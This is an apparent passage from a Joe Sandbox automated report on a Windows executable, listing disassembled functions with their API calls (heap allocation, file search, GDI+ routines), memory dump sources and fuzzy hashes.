                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog
                                                                        • String ID:
                                                                        • API String ID: 3519838083-0
                                                                        • Opcode ID: f2e9ff75ca37af9e75990d397d7450258e1a2c5c67d29e325ea9a02ff46ec389
                                                                        • Instruction ID: 930c6334653ed62ac476e75c8cd985adfa9300e3f01d761a636a1b0c2ee7249c
                                                                        • Opcode Fuzzy Hash: f2e9ff75ca37af9e75990d397d7450258e1a2c5c67d29e325ea9a02ff46ec389
                                                                        • Instruction Fuzzy Hash: 7DC1F430A602959FEF15CF29C884BAD7BA5AF19314F4801BDEC46DB382DB709974CB61
                                                                        Function 002E3BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog
                                                                        • String ID:
                                                                        • API String ID: 3519838083-0
                                                                        • Opcode ID: f2288fabf3a62de2e490250a5130e7226071d3422cbab2cd652848166ed2b12c
                                                                        • Instruction ID: 618dce946f1b2e5c8708dae6973fe3ae8aa934d2d51774a74aeef5991cd56f5b
                                                                        • Opcode Fuzzy Hash: f2288fabf3a62de2e490250a5130e7226071d3422cbab2cd652848166ed2b12c
                                                                        • Instruction Fuzzy Hash: 3171E471190BC59ECB25DF71CC559E7B7E9AF24301F84086EE2AB83241DA327AA4CF11
                                                                        Function 002E8284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E8289
                                                                          • Part of subcall function 002E13DC: __EH_prolog.LIBCMT ref: 002E13E1
                                                                          • Part of subcall function 002EA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 002EA598
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog$CloseFind
                                                                        • String ID:
                                                                        • API String ID: 2506663941-0
                                                                        • Opcode ID: d75d2982b9816eae090df816012ec990b2875963922ab476cfb05cd4183ecf70
                                                                        • Instruction ID: 4b53c2fe24d75a37ee9eefc219c7dd798518fc4e5753c069d063a876ddf6d9af
                                                                        • Opcode Fuzzy Hash: d75d2982b9816eae090df816012ec990b2875963922ab476cfb05cd4183ecf70
                                                                        • Instruction Fuzzy Hash: 5841BA719A46999ADB21DBA1CC55AF9B3B8AF00304F8404FBE18E67093EB705ED4CF50
                                                                        Function 002E13E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E13E1
                                                                          • Part of subcall function 002E5E37: __EH_prolog.LIBCMT ref: 002E5E3C
                                                                          • Part of subcall function 002ECE40: __EH_prolog.LIBCMT ref: 002ECE45
                                                                          • Part of subcall function 002EB505: __EH_prolog.LIBCMT ref: 002EB50A
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog
                                                                        • String ID:
                                                                        • API String ID: 3519838083-0
                                                                        • Opcode ID: ad9f2f7b9b8daf1060418d2fd2de16e67e53362d6ea110c5da5f61ad88a94174
                                                                        • Instruction ID: 87fb879db06a56c1aa765560ff0c455567922b47f31707f26bf9ce43692d4883
                                                                        • Opcode Fuzzy Hash: ad9f2f7b9b8daf1060418d2fd2de16e67e53362d6ea110c5da5f61ad88a94174
                                                                        • Instruction Fuzzy Hash: 4E414CB0955B409ED724CF7A8885AE6FBE5BF19300F904A3ED5FE83281C7716664CB10
                                                                        Function 002E13DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E13E1
                                                                          • Part of subcall function 002E5E37: __EH_prolog.LIBCMT ref: 002E5E3C
                                                                          • Part of subcall function 002ECE40: __EH_prolog.LIBCMT ref: 002ECE45
                                                                          • Part of subcall function 002EB505: __EH_prolog.LIBCMT ref: 002EB50A
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog
                                                                        • String ID:
                                                                        • API String ID: 3519838083-0
                                                                        • Opcode ID: 0ef8b008a7ed4edf056805e6f658bde86ab312d3f56ae788f14e0f9d68b2f2ae
                                                                        • Instruction ID: 4aca8afd9e3b3ac3328d607dc2269c7d4a56046b31b472cbb5198d602df0f908
                                                                        • Opcode Fuzzy Hash: 0ef8b008a7ed4edf056805e6f658bde86ab312d3f56ae788f14e0f9d68b2f2ae
                                                                        • Instruction Fuzzy Hash: 3C413CB0955B409ED724DF798885AE6FAE5BF19300F904A3ED5FE83281C7716664CB10
                                                                        Function 002FB093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002FB098
                                                                          • Part of subcall function 002E13DC: __EH_prolog.LIBCMT ref: 002E13E1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog
                                                                        • String ID:
                                                                        • API String ID: 3519838083-0
                                                                        • Opcode ID: d9687ff8494a05c70cd95774be66b96bbdc0dcc2affc29f66629853598f0aced
                                                                        • Instruction ID: 79d1f1e71374b380be7fc2668ac4a6982bb0103352dc65b1ede4b5f4efe0a0e0
                                                                        • Opcode Fuzzy Hash: d9687ff8494a05c70cd95774be66b96bbdc0dcc2affc29f66629853598f0aced
                                                                        • Instruction Fuzzy Hash: 16318B75C20249DACF16DF65C951AFEBBB4AF09300F5044AEE409B7282DB35AE24CB61
                                                                        Function 0030AC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetProcAddress.KERNEL32(00000000,00313A34), ref: 0030ACF8
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AddressProc
                                                                        • String ID:
                                                                        • API String ID: 190572456-0
                                                                        • Opcode ID: f97abeea0448ecf71ea7358ca0e6ac5b4dd6db0b8bd56ead859ea0667fe6a8fd
                                                                        • Instruction ID: 145b6cf1b71804a90351f8b66419c47f4531d35e7dd19c898d5fff5402c0e5de
                                                                        • Opcode Fuzzy Hash: f97abeea0448ecf71ea7358ca0e6ac5b4dd6db0b8bd56ead859ea0667fe6a8fd
                                                                        • Instruction Fuzzy Hash: F011AB33602B256FEB27DE18FC7099A73999B84760B178120FD15EB6D4D631DC0187D1
                                                                        Function 002E9215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog
                                                                        • String ID:
                                                                        • API String ID: 3519838083-0
                                                                        • Opcode ID: 797189268ca9ead763435d75299615aa783a956fa11a6f4428fb4a7b8cec86bd
                                                                        • Instruction ID: d771735fa40a7063646bc888d8e30ac78e0ac38314f7abdbd31fb5e8999b7878
                                                                        • Opcode Fuzzy Hash: 797189268ca9ead763435d75299615aa783a956fa11a6f4428fb4a7b8cec86bd
                                                                        • Instruction Fuzzy Hash: 3601A9339605A9ABCF12AFA9CC519DEB735BF88740F414126ED15B7111DA348D60CAA0
                                                                        Function 0030C479 Relevance: 1.6, APIs: 1, Instructions: 52COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 0030B136: RtlAllocateHeap.NTDLL(00000008,00313A34,00000000,?,0030989A,00000001,00000364,?,?,?,002ED984,?,?,?,00000004,002ED710), ref: 0030B177
                                                                        • _free.LIBCMT ref: 0030C4E5
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AllocateHeap_free
                                                                        • String ID:
                                                                        • API String ID: 614378929-0
                                                                        • Opcode ID: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
                                                                        • Instruction ID: a29229c9f454b393633971835ef2bee34aad19a204780cc5e4346308e42ac3fe
                                                                        • Opcode Fuzzy Hash: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
                                                                        • Instruction Fuzzy Hash: 380149722113056BE3338F66DCA1A6AFBECFB85370F26061DE184872C1EA30A805C734
                                                                        Function 0030B136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • RtlAllocateHeap.NTDLL(00000008,00313A34,00000000,?,0030989A,00000001,00000364,?,?,?,002ED984,?,?,?,00000004,002ED710), ref: 0030B177
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AllocateHeap
                                                                        • String ID:
                                                                        • API String ID: 1279760036-0
                                                                        • Opcode ID: 7938c93767c8ecf90664240fc6db960bcd76addf8812256a34c03ee7654082aa
                                                                        • Instruction ID: c578369992a40ede6e4f050b057fbf3af21abfb92c6ea40cf7ed51839721b426
                                                                        • Opcode Fuzzy Hash: 7938c93767c8ecf90664240fc6db960bcd76addf8812256a34c03ee7654082aa
                                                                        • Instruction Fuzzy Hash: 6AF05436607125A7DB2B5A21AC35B9FB758AF45B60B1A8211BC18AA1D0CB64E90186E4
                                                                        Function 00303C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 00303C3F
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AddressProc
                                                                        • String ID:
                                                                        • API String ID: 190572456-0
                                                                        • Opcode ID: 2187fb9123fdd2c56d789472c5f25e80c30f73819eebb29d4a585ec280ece5b6
                                                                        • Instruction ID: 57b9a092ff6d75965f4b62cc4c86e28f4dad5e84204579213a5cd3758fbb70fc
                                                                        • Opcode Fuzzy Hash: 2187fb9123fdd2c56d789472c5f25e80c30f73819eebb29d4a585ec280ece5b6
                                                                        • Instruction Fuzzy Hash: 72F0EC362012169FDF13CE68EC2099B779DEF05B617144124FA05E71D0DB31DA60C790
                                                                        Function 00308E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0030CA2C,00000000,?,00306CBE,?,00000008,?,003091E0,?,?,?), ref: 00308E38
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AllocateHeap
                                                                        • String ID:
                                                                        • API String ID: 1279760036-0
                                                                        • Opcode ID: 4c0b58949682683f35ae188fb54df9ee479f28127142b156cd19d603c7b9fb3d
                                                                        • Instruction ID: 7ed47c4678b47613efde5cbb4282ec1f9e7e19ca59e0f9493ed0a40f1d822945
                                                                        • Opcode Fuzzy Hash: 4c0b58949682683f35ae188fb54df9ee479f28127142b156cd19d603c7b9fb3d
                                                                        • Instruction Fuzzy Hash: 6CE0ED3120722556EA732725DC24B9B765C9B423B0F120121BC88AA4C1CF20DC00C2E8
                                                                        Function 002E5ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E5AC2
                                                                          • Part of subcall function 002EB505: __EH_prolog.LIBCMT ref: 002EB50A
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog
                                                                        • String ID:
                                                                        • API String ID: 3519838083-0
                                                                        • Opcode ID: 8a5b7613f1360fa261b5f82dbdfaffd927938e7dab56a2d930a6f217cd71b984
                                                                        • Instruction ID: 12ea09b42a9c37e7c3256d2a82f4e62d383535e2df1b8dfdb41fb6b84eebd054
                                                                        • Opcode Fuzzy Hash: 8a5b7613f1360fa261b5f82dbdfaffd927938e7dab56a2d930a6f217cd71b984
                                                                        • Instruction Fuzzy Hash: A40181304206D8DAD725E7B8C0917EDFBA89F54344F50449DA56693383CBB41B28DBA2
                                                                        Function 002E9620 Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • FindCloseChangeNotification.KERNELBASE(000000FF,?,?,002E95D6,?,?,?,?,?,00312641,000000FF), ref: 002E963B
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ChangeCloseFindNotification
                                                                        • String ID:
                                                                        • API String ID: 2591292051-0
                                                                        • Opcode ID: 78fe8cf29762cb1ad07d39dfc9082ac69695ccfcc5e1c491406b9bca9493899c
                                                                        • Instruction ID: a5bac74296cee8bcc12aad92bef723a066addb2898d617a3b4e0123904007c77
                                                                        • Opcode Fuzzy Hash: 78fe8cf29762cb1ad07d39dfc9082ac69695ccfcc5e1c491406b9bca9493899c
                                                                        • Instruction Fuzzy Hash: FFF0E9300D1B969FDB318F21C44879277EC6B13321F444B1FD0E3429E0D36065DD8A40
                                                                        Function 002EA56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002EA69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,002EA592,000000FF,?,?), ref: 002EA6C4
                                                                          • Part of subcall function 002EA69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,002EA592,000000FF,?,?), ref: 002EA6F2
                                                                          • Part of subcall function 002EA69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,002EA592,000000FF,?,?), ref: 002EA6FE
                                                                        • FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 002EA598
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Find$FileFirst$CloseErrorLast
                                                                        • String ID:
                                                                        • API String ID: 1464966427-0
                                                                        • Opcode ID: 49c59964cb8ec55387e09b3c704f41f5e9fe3654a96985618f3ef25cdc141ce6
                                                                        • Instruction ID: 28b196c5da03a89118ebce0be3a50ce7bcce422059415fe46feb6f340e2b484d
                                                                        • Opcode Fuzzy Hash: 49c59964cb8ec55387e09b3c704f41f5e9fe3654a96985618f3ef25cdc141ce6
                                                                        • Instruction Fuzzy Hash: 8EF0E2314683C0AACF235BB58800BCB7BD06F1A331F848A49F5FE22096C27120A48F23
                                                                        Function 002F0E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • SetThreadExecutionState.KERNEL32(00000001), ref: 002F0E3D
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ExecutionStateThread
                                                                        • String ID:
                                                                        • API String ID: 2211380416-0
                                                                        • Opcode ID: 960c22bb823884ac677b2d3d900005d7ef9b7248d41fbcc8c28a6939aafd7a63
                                                                        • Instruction ID: 4bb2ca1e9f25541abc47b843622fddbe45cba0a3efff089a5d4bbc8df5cc149d
                                                                        • Opcode Fuzzy Hash: 960c22bb823884ac677b2d3d900005d7ef9b7248d41fbcc8c28a6939aafd7a63
                                                                        • Instruction Fuzzy Hash: 4BD02B10B7109DD6DF223729695D7FE7A0A8FEA390F0C0076F34D57283CE4408A6A661
                                                                        Function 002FA626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GdipAlloc.GDIPLUS(00000010), ref: 002FA62C
                                                                          • Part of subcall function 002FA3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 002FA3DA
